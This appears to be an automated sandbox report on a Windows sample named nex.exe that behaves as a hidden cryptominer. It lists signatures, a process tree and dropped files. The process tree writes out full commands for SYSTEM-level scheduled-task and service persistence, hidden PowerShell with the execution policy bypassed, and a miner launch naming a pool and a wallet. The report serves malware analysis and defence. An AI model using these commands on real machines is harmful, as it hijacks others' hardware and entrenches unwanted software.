Analysis

  • max time kernel
    150s
  • max time network
    147s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/11/2026, 11:27

General

  • Target
    nex.exe
  • Size 497KB
  • Sample261107-nks22aef97
  • SHA256 b805dc4d53eb0beb1734e5c3e9f0c1f41c319436e402b7a9061222e710308ee1
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 2 IoCs
  • Creates new service(s) 2 TTPs
  • Executes dropped EXE 11 IoCs
  • Windows security bypass 2 TTPs 10 IoCs
  • Windows security modification 2 TTPs 11 IoCs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 8 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Direct Volume Access: Opens a physical disk for reading 1 TTPs 6 IoCs

    Opens a raw handle to a physical disk, which bypasses file system access controls and is used for disk inspection, anti-VM checks and privilege checks.

  • Executes a command shell one-liner 1 TTPs 21 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 10 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 12 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\nex.exe
    "C:\Users\Admin\AppData\Local\Temp\nex.exe"
    1⤵
    • Direct Volume Access: Opens a physical disk for reading
    • Enumerates system info in registry
    • Suspicious use of WriteProcessMemory
    PID:5868
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4280
      • C:\Windows\system32\schtasks.exe
        schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4208
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c schtasks /Run /TN FleetComputeM4Agent >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:3400
      • C:\Windows\system32\schtasks.exe
        schtasks /Run /TN FleetComputeM4Agent
        3⤵
          PID:2716
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4524
        • C:\Windows\system32\schtasks.exe
          schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:6104
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1920
        • C:\Windows\system32\schtasks.exe
          schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
          3⤵
          • Scheduled Task/Job: Scheduled Task
          PID:6116
      • C:\Windows\SYSTEM32\cmd.exe
        cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3500
        • C:\Windows\system32\schtasks.exe
          schtasks /Run /TN FleetComputeM4Watch
          3⤵
            PID:4972
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1792
          • C:\Windows\system32\schtasks.exe
            schtasks /Run /TN FleetComputeM4Watch
            3⤵
              PID:4168
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c schtasks /Run /TN FleetComputeM4Watch >nul 2>&1
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4312
            • C:\Windows\system32\schtasks.exe
              schtasks /Run /TN FleetComputeM4Watch
              3⤵
                PID:2004
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:1944
              • C:\Windows\system32\schtasks.exe
                schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3432
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\Temp\nex.exe --run" start= auto obj= LocalSystem >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2156
              • C:\Windows\system32\sc.exe
                sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\Temp\nex.exe --run" start= auto obj= LocalSystem
                3⤵
                • Launches sc.exe
                PID:5332
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000 >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2148
              • C:\Windows\system32\sc.exe
                sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000
                3⤵
                • Launches sc.exe
                PID:5548
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c sc start FleetComputeM4 >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:936
              • C:\Windows\system32\sc.exe
                sc start FleetComputeM4
                3⤵
                • Launches sc.exe
                PID:5724
          • C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
            "C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run
            1⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • Windows security bypass
            • Windows security modification
            • Direct Volume Access: Opens a physical disk for reading
            • Reads the TCP/IP host and domain name from the registry
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2560
            • C:\Windows\system32\cmd.exe
              cmd.exe /c schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3668
              • C:\Windows\System32\schtasks.exe
                schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3140
            • C:\Windows\system32\cmd.exe
              cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5348
              • C:\Windows\System32\schtasks.exe
                schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:1048
            • C:\Windows\system32\cmd.exe
              cmd.exe /c wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list > "C:\Windows\TEMP\agent_gpu1.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2364
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list
                3⤵
                • Reads the TCP/IP host and domain name from the registry
                • Detects videocard installed
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2360
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_VideoController | ForEach-Object { 'Name=' + $_.Name; 'AdapterRAM=' + $_.AdapterRAM; 'DriverVersion=' + $_.DriverVersion; '' } | Set-Content -Encoding UTF8 'C:\Windows\TEMP\agent_gpu2.txt'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              PID:480
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice -Class Display | ForEach-Object { 'Name=' + $_.FriendlyName; '' } | Set-Content -Encoding UTF8 'C:\Windows\TEMP\agent_gpu4.txt'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Drops file in System32 directory
              • Drops file in Windows directory
              • Modifies data under HKEY_USERS
              • Suspicious behavior: EnumeratesProcesses
              PID:4896
            • C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
              "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:2664
              • C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
                "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-protected-process "-a" "pearl" "-p" "stratum+tcp://prl-eu.kryptex.network:7048" "-u" "prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51" "--nvidia" "1" "--amd" "1" "--intel" "1" "--igpu" "0" "--cpu" "0"
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1568
                • C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
                  "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 432 --ctl-out 444 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
                  4⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  PID:4228
            • C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
              "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0
              2⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1100
              • C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
                "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-protected-process "-a" "pearl" "-p" "stratum+tcp://prl-eu.kryptex.network:7048" "-u" "prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51" "--nvidia" "1" "--amd" "1" "--intel" "1" "--igpu" "0" "--cpu" "0"
                3⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:5268
                • C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
                  "C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe" --bz-worker-process --ctl-in 432 --ctl-out 444 --bz-protected-process -a pearl -p stratum+tcp://prl-eu.kryptex.network:7048 -u prl1p6u5rtdhax3k5gc0fz4ln0rzxdwh6k4dslv9nz5lf2mq5xue4v84qwszukg/830853ae51 --nvidia 1 --amd 1 --intel 1 --igpu 0 --cpu 0 --no-color
                  4⤵
                  • Executes dropped EXE
                  PID:2208
          • C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
            C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
            1⤵
            • Executes dropped EXE
            • Direct Volume Access: Opens a physical disk for reading
            • Enumerates system info in registry
            • Suspicious use of WriteProcessMemory
            PID:4548
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:3236
              • C:\Windows\system32\schtasks.exe
                schtasks /Create /TN FleetComputeM4Agent /SC ONSTART /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4376
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run" start= auto obj= LocalSystem >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:676
              • C:\Windows\system32\sc.exe
                sc create FleetComputeM4 binPath= "C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run" start= auto obj= LocalSystem
                3⤵
                • Launches sc.exe
                PID:3240
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000 >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:264
              • C:\Windows\system32\sc.exe
                sc failure FleetComputeM4 reset= 86400 actions= restart/60000/restart/60000/restart/60000
                3⤵
                • Launches sc.exe
                PID:5640
            • C:\Windows\SYSTEM32\cmd.exe
              cmd.exe /c sc start FleetComputeM4 >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5972
              • C:\Windows\system32\sc.exe
                sc start FleetComputeM4
                3⤵
                • Launches sc.exe
                PID:4932
          • C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
            "C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run
            1⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • Windows security bypass
            • Windows security modification
            • Direct Volume Access: Opens a physical disk for reading
            • Reads the TCP/IP host and domain name from the registry
            • Enumerates system info in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:6092
            • C:\Windows\system32\cmd.exe
              cmd.exe /c schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:2852
              • C:\Windows\System32\schtasks.exe
                schtasks /Create /TN FleetComputeM4Wake /SC DAILY /ST 07:00 /WAKE /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3456
            • C:\Windows\system32\cmd.exe
              cmd.exe /c schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run" >nul 2>&1
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:5028
              • C:\Windows\System32\schtasks.exe
                schtasks /Create /TN FleetComputeM4Watch /SC MINUTE /MO 5 /RU SYSTEM /RL HIGHEST /F /TR ""C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe" --run"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:5608
            • C:\Windows\system32\cmd.exe
              cmd.exe /c wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list > "C:\Users\Admin\AppData\Local\Temp\agent_gpu1.txt"
              2⤵
              • Executes a command shell one-liner
              • Suspicious use of WriteProcessMemory
              PID:600
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get Name,AdapterRAM,DriverVersion /format:list
                3⤵
                • Reads the TCP/IP host and domain name from the registry
                • Detects videocard installed
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:5908
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-CimInstance Win32_VideoController | ForEach-Object { 'Name=' + $_.Name; 'AdapterRAM=' + $_.AdapterRAM; 'DriverVersion=' + $_.DriverVersion; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1796
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Get-PnpDevice -Class Display | ForEach-Object { 'Name=' + $_.FriendlyName; '' } | Set-Content -Encoding UTF8 'C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt'"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:3580
          • C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
            C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
            1⤵
            • Executes dropped EXE
            • Direct Volume Access: Opens a physical disk for reading
            • Enumerates system info in registry
            PID:5988
          • C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
            C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe --run
            1⤵
            • Executes dropped EXE
            • Direct Volume Access: Opens a physical disk for reading
            • Enumerates system info in registry
            PID:3744

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                FleetComputeM4Service.exe

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\FleetComputeM4Service.exe
                • Size 497KB
                • SHA256 b805dc4d53eb0beb1734e5c3e9f0c1f41c319436e402b7a9061222e710308ee1
                • MD5 SHA1 SHA512 SSDEEP TLSH

                fc-m4.exe

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe
                • Size 45.1MB
                • SHA256 3f8b858d255303d71cdcfa3fb882019d0106781c8677b8f1c36e3528f413e970
                • MD5 SHA1 SHA512 SSDEEP TLSH

                fc-m4.exe.part

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\bin\fc-m4.exe.part
                • Size 84.5MB
                • SHA256 730d53f7c01a024ba0f502c68d174e26817817987980af4e6c4bb0427a03a246
                • MD5 SHA1 SHA512 SSDEEP TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 398B
                • SHA256 1ee8e0a09d1460b6e032ef1f34f345363f5067f6ff05559f27ddf3ce5c4ef8cb
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 1KB
                • SHA256 3051b85a7606f664c09cfdc9181d9b522474b3aa1de449171a623f456002a167
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 1KB
                • SHA256 eb3f58d3c8b8e49e2156d4414207f837470540f1c526a66802fdf689ffef1d36
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 1KB
                • SHA256 352d0a149708715f286e147a47c4cf45db8bac33d1ac7681ca92b3d2402e4347
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 445B
                • SHA256 a7d880bd3150e1dbae58f2ea2ec8c128dc991d921ba75afeef46fb8a2a7afb54
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 1KB
                • SHA256 fd20efaa33bb1ef6f8c511a2096845d574f865ef93c6f9f632d10262724eae9c
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 1KB
                • SHA256 e941b1250ebc8cede08fe068687885a12d6eaeb33fbfd38e35311dc3cc60d8dd
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 1KB
                • SHA256 31e62e42c0f26e13a479ed2dc6a5fde85a77d1e2d50645ea4c39ec18c93abb04
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 2KB
                • SHA256 e3945df7f99582c299c47236716a093587e3475152d683e7069b902062c61d38
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 578B
                • SHA256 374aaaa9fdff14425665865da95b30e877f90fe0f33eee783fad3a00d6209000
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 2KB
                • SHA256 4a8bb2797de5936c194bfedbd995180dccbbf74df43fd1b9f240b78cb4910346
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 2KB
                • SHA256 4ac5e30de59d934fb880fb81c6ac2560eed284b3400698db80c8cdcdd8b54d9a
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 2KB
                • SHA256 dfacd59d6b819567dc3e90440d0843a9c1895f4bf3276330bd51d152a26ccefe
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 699B
                • SHA256 550adf5dd2529caed4121cd8bf7b0969770fea2c64454bd34aed352df76a127a
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 2KB
                • SHA256 6ee054c9458b959459d31a4b6a8f5e8f9c0b324ed23408ea500d4e6bfc7af571
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 789B
                • SHA256 20343564072999710967e8f59369e81d8ac2890ab523f22316b3bf5c23da239a
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 865B
                • SHA256 2aa1782858d07759ae0b03a6b43c713ddb2395ee33cadb7e70ab67fc58cae5f4
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 974B
                • SHA256 6030180ad1d3a27d1251343bb8a1bb462a7b91b431040dfd6ba6986ac79cfb35
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 1018B
                • SHA256 f6fdec9e5b6a304641786b9be7d948e26c98bf8fe5133dd92515f62343c91de8
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 1KB
                • SHA256 9f019bc9edf2403f1a9b96c2afa837c3f1dec7efdef25a1322065b433ad8f1de
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 1KB
                • SHA256 18b2e3d64140e95e36a805054258ac225f0fe757875483e2e480c322cbc1f2b9
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 330B
                • SHA256 c84381b356b84523a019b5d7dce4dee90ecf2f6dbe80f2f0518636f2235dec89
                • MD5 SHA1 SHA512 TLSH

                agent.log

                • Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
                • Size 370B
                • SHA256 76ab5c09f8065ce5433e9a884d3b00babf932dce72521af2f57ef208a5e70718
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 5ec110f3a27e221d2449c71508366b38370dcd8353abec2c3c78d82124951dc3
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_gpmpp4qx.hr4.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gpmpp4qx.hr4.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                agent_gpu2.txt

                • Path C:\Users\Admin\AppData\Local\Temp\agent_gpu2.txt
                • Size 72B
                • SHA256 702bc2eaaede7b87f9ee1dcaea888d78b17cd1526c016695ed39e384588e8f66
                • MD5 SHA1 SHA512 TLSH

                agent_gpu4.txt

                • Path C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt
                • Size 43B
                • SHA256 c62ab326b8361707c05e3602dc2fcc36f90e3d47f6c260a361640b1d18d2f645
                • MD5 SHA1 SHA512

                agent_gpu1.txt

                • Path C:\Windows\TEMP\agent_gpu1.txt
                • Size 152B
                • SHA256 136d94dfb544f0e1b7aa03e61af0c8d7c4e37c427963e3b157d1bf8c5fff4ac5
                • MD5 SHA1 SHA512 TLSH

                agent_gpu3.txt

                • Path C:\Windows\Temp\agent_gpu3.txt
                • Size 40B
                • SHA256 602dbbf4f8544fcc0676bafff15c4917ad8ae7db7f704d69b785749079262260
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 88aa11679e1785a973ea5808922c5fbaee8a11120034912ac5d3d3feaeea26c3
                • MD5 SHA1 SHA512 TLSH

                memory/1100-227-0x00007FF640660000-0x00007FF6450D1000-memory.dmp

                memory/1568-199-0x00007FF640660000-0x00007FF6450D1000-memory.dmp

                memory/1796-72-0x000002CCB24B0000-0x000002CCB24DA000-memory.dmp

                memory/1796-70-0x000002CCB2270000-0x000002CCB2322000-memory.dmp

                memory/1796-73-0x000002CCB24B0000-0x000002CCB24D4000-memory.dmp

                memory/1796-50-0x000002CC99D10000-0x000002CC99D32000-memory.dmp

                memory/1796-69-0x000002CCB2010000-0x000002CCB202E000-memory.dmp

